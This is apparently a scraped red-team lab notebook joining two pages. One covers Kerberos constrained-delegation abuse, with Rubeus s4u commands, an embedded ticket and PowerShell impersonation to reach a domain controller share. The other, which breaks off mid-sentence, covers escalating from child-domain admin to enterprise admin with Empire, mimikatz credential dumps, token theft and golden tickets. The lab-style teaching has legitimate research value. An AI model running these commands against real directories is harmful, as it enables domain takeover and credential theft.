![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmUhmRdd-A22BRvuH4d%252F-LmUj2nVKcbsVl1DNw-L%252Fimage.png%3Falt%3Dmedia%26token%3D9dc61f85-1f7d-4129-9ad0-f82904946783&width=768&dpr=3&quality=100&sign=1b51649e&sv=2) The `TRUSTED_TO_AUTH_FOR_DELEGATION` attribute in AD is defined here: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmUhmRdd-A22BRvuH4d%252F-LmUuvuUvqg5eYSlA6ef%252Fimage.png%3Falt%3Dmedia%26token%3Decddfc1f-3527-42b4-8948-a4208f270de7&width=768&dpr=3&quality=100&sign=a9ca778d&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#execution) Execution Assume we've compromised the user `spot` who has the constrained delegation set as described earlier. Let's check that currently we cannot access the file system of the DC01 before we impersonate a domain admin user: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmUhmRdd-A22BRvuH4d%252F-LmUjKwUqJd0QbYGUHxf%252Fimage.png%3Falt%3Dmedia%26token%3Dccbf4e32-8e5b-48d9-9b03-a797aa5a1ded&width=768&dpr=3&quality=100&sign=231e839d&sv=2) Let's now request a delegation TGT for the user spot: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmUhmRdd-A22BRvuH4d%252F-LmUlJsFuaNBjB_cFmsM%252Fimage.png%3Falt%3Dmedia%26token%3D65e16a0e-e765-4aef-8d57-52c3db2bd4ea&width=768&dpr=3&quality=100&sign=81c1c60d&sv=2) Using rubeus, we can now request TGS for `administrator@offense.local`, who will be allowed to authenticate to `CIFS/dc01.offense.local`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmUhmRdd-A22BRvuH4d%252F-LmUzEl7ko1gQWHK3KYc%252Fimage.png%3Falt%3Dmedia%26token%3Deb168db2-5a10-4522-9062-f080c1b64fed&width=768&dpr=3&quality=100&sign=63d3bf3b&sv=2) We've got the impersonated TGS tickets for administrator account: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmUhmRdd-A22BRvuH4d%252F-LmUzKj4C1b1v5hycKkf%252Fimage.png%3Falt%3Dmedia%26token%3D864af1bf-4c8e-4b0b-8c3a-0e2fa2c5a0a8&width=768&dpr=3&quality=100&sign=37b09e30&sv=2) Which as we can see are now in memory of the current logon session: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmUhmRdd-A22BRvuH4d%252F-LmUzUcQdpvIqtCxAYGC%252Fimage.png%3Falt%3Dmedia%26token%3D8d3c15cb-4153-41f6-ae61-a6f9b0f038d2&width=768&dpr=3&quality=100&sign=6f3c9fe3&sv=2) If we now attempt accessing the file system of the DC01 from the user's spot terminal, we can confirm we've successfully impersonated the domain administrator account that can authenticate to the CIFS service on the domain controller DC01: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmUhmRdd-A22BRvuH4d%252F-LmUwNck8RXhHhHcSOAQ%252Fimage.png%3Falt%3Dmedia%26token%3D3f21ed35-8473-4e5a-88a1-f0ddf1ef0ea3&width=768&dpr=3&quality=100&sign=7b316963&sv=2) Note that in this case we requested a TGS for the CIFS service, but we could also request additional TGS tickets with rubeus's `~/altservice~` switch for: HTTP (WinRM), LDAP (DCSync), HOST (PsExec shell), MSSQLSvc (DB admin rights). [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#computer-account) Computer Account ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- If you have compromised a machine account or in other words you have a SYSTEM level privileges on a machine that is configured with constrained delegation, you can assume any identity in the AD domain and authenticate to services that the compromised machine is trusted to delegate to. In this lab, a workstation WS02 is trusted to delegate to DC01 for CIFS and LDAP services and I am going to exploit the CIFS services this time: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmVP66fGg7JqdxxKL3J%252F-LmVQ2QxEygwna1_gN7H%252Fimage.png%3Falt%3Dmedia%26token%3Dbef25e17-b880-4c12-9acc-aeff5c3e1182&width=768&dpr=3&quality=100&sign=868b1904&sv=2) Using powerview, we can find target computers like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmWKHmv5wx8WNlOyYZV%252F-LmWRJz_w33yps83qlND%252Fimage.png%3Falt%3Dmedia%26token%3D49095a8c-6e58-44f2-a3e8-abbe89d147ad&width=768&dpr=3&quality=100&sign=6f864b68&sv=2) Let's check that we're currently running as SYSTEM and can't access the C$ on our domain controller DC01: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmVP66fGg7JqdxxKL3J%252F-LmVQwyg2up-8jH35uo9%252Fimage.png%3Falt%3Dmedia%26token%3De6e1ebf3-38fd-48d5-be74-70032f68f165&width=768&dpr=3&quality=100&sign=2ba97dfc&sv=2) Let's now impersonate administrator@offense.local and try again: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmVP66fGg7JqdxxKL3J%252F-LmVRLtPPiuCCOwE9W5c%252Fimage.png%3Falt%3Dmedia%26token%3D448aac93-eb90-4108-a5f1-72c6dd705574&width=768&dpr=3&quality=100&sign=195e036&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#references) References ----------------------------------------------------------------------------------------------------------------------------------------------------------- [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/www.harmj0y.net](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/) [https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/www.harmj0y.net](https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Delegation tab in ADUC not available until a SPN is setMicrosoftLearn](https://blogs.msdn.microsoft.com/mattlind/2010/01/13/delegation-tab-in-aduc-not-available-until-a-spn-is-set/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)KDC\_ERR\_BADOPTION when attempting constrained delegationMicrosoftLearn](https://blogs.technet.microsoft.com/tristank/2007/06/18/kdc_err_badoption-when-attempting-constrained-delegation/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)UserAccountControl property flags - Windows ServerMicrosoftLearn](https://support.microsoft.com/en-gb/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties) [PreviousKerberos Unconstrained Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) [NextKerberos Resource-based Constrained Delegation: Computer Object Takeover](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution) Last updated 6 years ago * [User Account](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#user-account) * [Prerequisites](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#prerequisites) * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#execution) * [Computer Account](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#computer-account) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#references) attacker@target Copy dir \\dc01\c$ attacker@target Copy \\vboxsvr\tools\Rubeus\Rubeus.exe tgtdeleg attacker@target Copy # ticket is the base64 ticket we get with `rubeus's tgtdeleg` Rubeus.exe s4u /ticket:doIFCDCCBQSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUyjggPEMIIDwKADAgESoQMCAQKiggOyBIIDro3ZCHDaVettnJseuyFJMK+Il4GAtWVAHPAq02cnHmOs3R2KcrOWpf3YbtnTD7fB+rKdZ8aElgloJO+v4XVM2NgyOVIia0MzNToDrK1ynhC70aApbag+ykvUFTDeG9NjhE3TVk3+F99vWboy6hhc9AmRUJwHFuqLC4djtL2PtQSpgWWL42W5eONlIZkc5XK0kWkC/AvivuuPOHs9aEy3g38hoBeApZE8NqT7mGKz5JHLwV5TyUgo87s6fFVSn8LHK8CI6G0x2DRhxxu04q0qnRXhLJ5S0MyJgJj6YDVESvCUgep5MXR+OYp0EGdVP8qQJK+x6m4rmr0Y3nd1Klmc+xDnLSC11ay7I8VevqhCBCZ64c+HQow4qcMTa/agxyOXqK42ynUl0GJtrLV7nIIrp+J2e5PECDUXIjKFkGnp6HZDNfzYAGL3XxyyT2JYdneOS3VUzJQyEctjuQMdVA0wB8NrRqDVdqSNBSOyBwpB3/FWzdHNYxztRmVT+Yz6qJCU4SYHIzHUE5dqHjvhjPSwgAkhS/QNApxtWvyba8iwCSnyualuhK46LS0pkt1IIQT0Y+qw80oL6mzjD+rxfKgR4B9hI6Imw9zTT5rjlRNMjWEy78izLtRB+ulzqdkZCUMA6zswWjq1BTmWzZX0LAZ+QAWQJPzoRVsqOcZCZwo/aWwmO1s9v5TLRRMLTAvk16PQW3z9NHix2Io9sObH8cb7gVrB+u2Q545Qwekl0uwP5mCar6swU2oEkxBm5DZvLsbZTcGl+KzGxqq/zhEJm3EceLuwIY81z8aYu13c6AsYETs9VevdEVysylpNL7EcHu8iXsoE5JmLx7OrcPR9WfeFWxRDp+1CVDijOI5VOS51+JpkEvcXFmfZueqLTJ66VGJgQaP7A3B//Y40ur5nSXyvEmIKgzdeqPLpGa5GPiNs/rYFmMlxwEX+yVFB5bPYgoszr3Crjsvs6Q/vdr36NoWqI9/11Nurzeeknt+k8sUV26URnQVkecW4yJFQ2TZwYCJ1k9h4cr96csJ9HhJO46UBye/8oqlqJXKnYY3JpaZiXWK77kG7BqhM6oPl+oEIbX2ycj/gHesxREvP7/vYINk33KbOSxXTAi3Je3wbZP7N+3B9Lz04m8Xi6nGeIVsZiMyODpnJVX5Bgq+3cGaSty0v+fIfqMHDwuKhOS7h1MGLJduhWh3b21ytDfzn73yyCPskFee2ckAomlAgxMzg8ZatmZDLTxfUenJ+EnrJgkYee6OB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEIN2JDvcjQZeMR+7giMsawE1vG/Cmw9IFIV7ZYwaELMqaoQ8bDU9GRkVOU0UuTE9DQUyiETAPoAMCAQGhCDAGGwRzcG90owcDBQBgoQAApREYDzIwMTkwODE3MTMyMDU2WqYRGA8yMDE5MDgxNzIzMDY0MFqnERgPMjAxOTA4MjQxMzA2NDBaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUw= /impersonateuser:administrator /domain:offense.local /msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt attacker@target Copy klist attacker@target Copy dir \\dc01.offense.local\c$ attacker@target Copy Get-NetComputer ws02 | select name, msds-allowedtodelegateto, useraccountcontrol | fl Get-NetComputer ws02 | Select-Object -ExpandProperty msds-allowedtodelegateto | fl attacker@target Copy hostname [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name ls \\dc01.offense.local\c$ attacker@target Copy [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator') $idToImpersonate.Impersonate() [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name ls \\dc01.offense.local\c$ --- # From Domain Admin to Enterprise Admin | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain.md) . This lab is based on an [Empire Case Study](https://enigma0x3.net/2016/01/28/an-empire-case-study/) and its goal is to get more familiar with some of the concepts of Powershell Empire and its modules as well as Active Directory concepts such as Forests, Parent/Child domains and Trust Relationships and how they can be abused to escalate privileges. The end goal of this lab is a privilege escalation from DA on a child domain to EA on a root domain. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#domain-trust-relationships) Domain Trust Relationships ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Firstly, some LAB setup - we need to create a child domain controller as well as a new forest with a new domain controller. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#parent-child-domains) Parent / Child Domains After installing a child domain `red.offense.local` of a parent domain `offense.local`, Active Directory Domains and Trusts show the parent-child relationship between the domains as well as their default trusts: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLfg0B78oGQO4ypCWEh%252F-LLfkNIW3CDVM9TPQPQs%252Fdomains-trusts1.png%3Falt%3Dmedia%26token%3D02016c33-0c8d-467a-b8f5-054d179c9559&width=768&dpr=3&quality=100&sign=2c9ced86&sv=2) Trusts between the two domains could be checked from powershell by issuing: The first console shows the domain trust relationship from `offense.local` perspective and the second one from `red.offense.local`. Note the the direction is `BiDirectional` which means that members can authenticate from one domain to another when they want to access shared resources: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLfg0B78oGQO4ypCWEh%252F-LLfkNIVn31WifEHy_0u%252Fdomains-trusts2.png%3Falt%3Dmedia%26token%3D2d18e6e2-a92a-493a-8557-92db43acde18&width=768&dpr=3&quality=100&sign=b25d5056&sv=2) Similar, but very simplified information could be gleaned from a native Windows binary: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLfykg75YnZ-L5aPA48%252F-LLfymr2tISGUr0AF7s9%252Fdomains-nltest.png%3Falt%3Dmedia%26token%3De678d816-c4a0-47ea-9491-2dc2b8bf796d&width=768&dpr=3&quality=100&sign=615f4cb&sv=2) Powershell way of checking trust relationships: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLp2X4Zum6TZXNTippB%252F-LLp2dwp7Jw8rPKHRIIM%252Fdomains-trusts-powershell.png%3Falt%3Dmedia%26token%3Dc8af68b8-c073-4f19-973d-d9062f601587&width=768&dpr=3&quality=100&sign=5b5aa3fe&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#forests) Forests After installing a new DC `dc-blue` in a new forest, let's setup a one way trust between `offense.local` and `defense.local` domains using controllers `dc-mantvydas.offense.local` and `dc-blue.defense.blue`. First of, setting up conditional DNS forwarders on both DCs: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLpXpSAvuvEuIa2I6R8%252F-LLpYNUuQX6yMeVKzsQN%252Fdomain-trust-conditional-forwarders.png%3Falt%3Dmedia%26token%3D5ff8b035-a0cc-4a89-8094-d91d848e9fb5&width=768&dpr=3&quality=100&sign=516490db&sv=2) Adding a new trust by making `dc-mantvydas` a trusted domain: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLpaEQ7yHUxcjXMGkvw%252F-LLpaHfJIqqO9-N16Y5F%252Fdomain-trust-one-way-incoming.png%3Falt%3Dmedia%26token%3D1a1a97e3-7899-46ef-8dd7-8981c8add874&width=768&dpr=3&quality=100&sign=917bd299&sv=2) Setting the trust type to `Forest`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLpYqv6HBRLn5Bhoet2%252F-LLp_T-QPuXU13JS_6qK%252Fdomain-trusts-forest.png%3Falt%3Dmedia%26token%3D592bf5db-6083-405e-8b11-d236416ddf81&width=768&dpr=3&quality=100&sign=36673d62&sv=2) Incoming trust for `dc-mantvydas.offense.local` is now created: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLpaEQ7yHUxcjXMGkvw%252F-LLpav8S_83U10hgkzdc%252Fdomain-trust-one-way-incoming-created.png%3Falt%3Dmedia%26token%3D9a2c5617-e725-4e1c-8d1b-754a944db08e&width=768&dpr=3&quality=100&sign=1d93ac8b&sv=2) Testing nltest output: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLpazA59o0nWJpJd62a%252F-LLpcG8cuMYspqLHABv4%252Fdomain-trusts-nltest.png%3Falt%3Dmedia%26token%3D3c07292f-d85a-458c-8380-af03220af012&width=768&dpr=3&quality=100&sign=3ab5ca65&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#forests-test) Forests Test Now that the trust relationship is set, it is easy to check if it was done correctly. What should happen now is that resources on defense.local (trusting domain) should be available to members of offense.local (trusted domain). Note how the user on `dc-mantvydas.offense.local` is not able to share a folder to `defense\administrator` (because `offense.local` does not trust `defense.local`): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLpcRChrpWdBhjuPsbF%252F-LLpeThaIcJwqSr7RYDE%252Fdomain-trusts-notfound.png%3Falt%3Dmedia%26token%3D23afe52d-541e-4ac7-9ca2-565bac27a927&width=768&dpr=3&quality=100&sign=ba65d38d&sv=2) However, `dc-blue.defense.local`, trusts `offense.local`, hence is able to share a resource to one of the members of `offense.local` - forest trust relationships work as intended: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLpcRChrpWdBhjuPsbF%252F-LLpeVebjyrsVSPcrEhB%252Fdomain-trusts-shared.png%3Falt%3Dmedia%26token%3Dbda1fe02-700c-4a8e-b76c-59b9bbce193b&width=768&dpr=3&quality=100&sign=4622fb6c&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#back-to-empire-from-da-to-ea) Back to Empire: From DA to EA ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Assume we got our first agent back from the computer `PC-MANTVYDAS$`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLqd9h8zfTe0JdXw6vT%252F-LLqZA6wTVQlr8cueCJI%252Fempire-1st-agent.png%3Falt%3Dmedia%26token%3D78f4343d-b61f-4d29-b48c-0c9bb9dd0c28&width=768&dpr=3&quality=100&sign=6a9599b1&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#credential-dumping) Credential Dumping Since the agent is running within a high integrity process, let's dump credentials - some interesting credentials can be observed for a user in `red.offense.local` domain: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLqd9h8zfTe0JdXw6vT%252F-LLqZJD51KVzPtoNiMlA%252Fempire-mimikatz.png%3Falt%3Dmedia%26token%3Da0de5025-c43f-416f-ac89-a0f1f4bf6ebf&width=768&dpr=3&quality=100&sign=43edb42f&sv=2) Listing the processes with `ps`, we can see a number of process running under the `red\spotless` account. Here is one: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLqd9h8zfTe0JdXw6vT%252F-LLqbSCgIQZci0fP_7aQ%252Fempire-ps.png%3Falt%3Dmedia%26token%3D9bbd39ad-e7e3-491c-85bc-6c70148aa380&width=768&dpr=3&quality=100&sign=fe9228e4&sv=2) The domain user is of interest, so we would use a `usemodule situational_awareness/network/powerview/get_user` command to enumerate the red\\spotless user and see if it is a member of any interesting groups, however my empire instance did not seem to return any results for this command. For this lab, assume it showed that the user red\\spotless is a member of `Administrators` group on the `red.offense.local` domain. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#token-manipulation) Token Manipulation Let's steal the token of a process with PID 4900 that runs with `red\spotless` credentials: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLqd9h8zfTe0JdXw6vT%252F-LLqaONIhV34AQnzBSL5%252Fempire-stealtoken.png%3Falt%3Dmedia%26token%3Dbc0c20d6-ffc5-4a44-95bf-931445f64198&width=768&dpr=3&quality=100&sign=f8bdf97a&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#dc-recon) DC Recon After assuming privileges of the member red\\spotless, let's get the Domain Controller computer name for that user. Again, my Empire instance is buggy, so I used a custom command to get it: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLqd9h8zfTe0JdXw6vT%252F-LLqd56Q-tENvfU6bJ-Z%252Fempire-get-dcname.png%3Falt%3Dmedia%26token%3D363e11c6-5061-4041-99cc-2011788fa256&width=768&dpr=3&quality=100&sign=ce96eb6c&sv=2) Check if we have admin access to the `DC-RED`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLqdG2UCqjE67T6cgk_%252F-LLqdVb6PsnDvplrnoFS%252Fempire-dir-childdc.png%3Falt%3Dmedia%26token%3D34ad02b5-4738-4b91-ba3c-91b3abc00a8c&width=768&dpr=3&quality=100&sign=fceda57f&sv=2) We are lucky, the user is a domain admin as can be seen from the above screenshot. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#lateral-movement) Lateral Movement Let's get an agent from `DC-RED` - note that the credentials are coming from the previous dump with mimikatz: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLqdG2UCqjE67T6cgk_%252F-LLqd_aC8nWSHWlkPBZL%252Fempire-lateral-childdc.png%3Falt%3Dmedia%26token%3Dd04b8655-8ca2-4fb8-bea6-b853b5db30fd&width=768&dpr=3&quality=100&sign=5eaea102&sv=2) We now have the agent back, let's just confirm it: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLqdG2UCqjE67T6cgk_%252F-LLqdxNEGyQn4YnV223L%252Fempire-childdc-recon.png%3Falt%3Dmedia%26token%3D42ab8085-0ae4-481f-adcc-ec2253aa8486&width=768&dpr=3&quality=100&sign=77d1812f&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#checking-trust-relationships) Checking Trust Relationships Once in DC-RED, let's check any domain trust relationships: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLsWs8M-uWI0YYFzPIp%252F-LLsXJMThgZvbq6MhFyp%252Fempire-trusts.png%3Falt%3Dmedia%26token%3D51d6e34b-7b71-42a1-a39b-5e737286fe91&width=768&dpr=3&quality=100&sign=26cf13e0&sv=2) We see that the `red.offense.local` is a child domain of `offense.local` domain, which is automatically trusting and trusted (two way trust/bidirectional) with `offense.local` - read on. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#from-da-to-ea) From DA to EA We will now try to escalate from DA in `red.offense.local` to EA in `offense.local`. We need to create a golden ticket for `red.offense.local` and forge it to make us an EA in `offense.local`. First of, getting a SID of a `krbtgt` user account in `offense.local`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLsWs8M-uWI0YYFzPIp%252F-LLsYczHGMeI3IfUIJ8_%252Fempire-krbtgt-sid.png%3Falt%3Dmedia%26token%3D67f5da84-bb9c-435b-af49-e7eeda14749e&width=768&dpr=3&quality=100&sign=6e53f8ba&sv=2) After getting a SID of the `offense.local\krbtgt`, we need to get a password hash of the `krbtgt` account in the compromised DC `DC-RED` (we can extract it since we are a domain admin in `red.offense.local`): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LLsWs8M-uWI0YYFzPIp%252F-LLsZuVh38MXxqHcuEXc%252Fempire-krbtgt-hash.png%3Falt%3Dmedia%26token%3De663db44-4be5-432f-bb27-b58c4a3631ad&width=768&dpr=3&quality=100&sign=f4fe33e2&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain#golden-ticket-for-root-domain) Golden Ticket for Root Domain We can now generate a golden ticket for 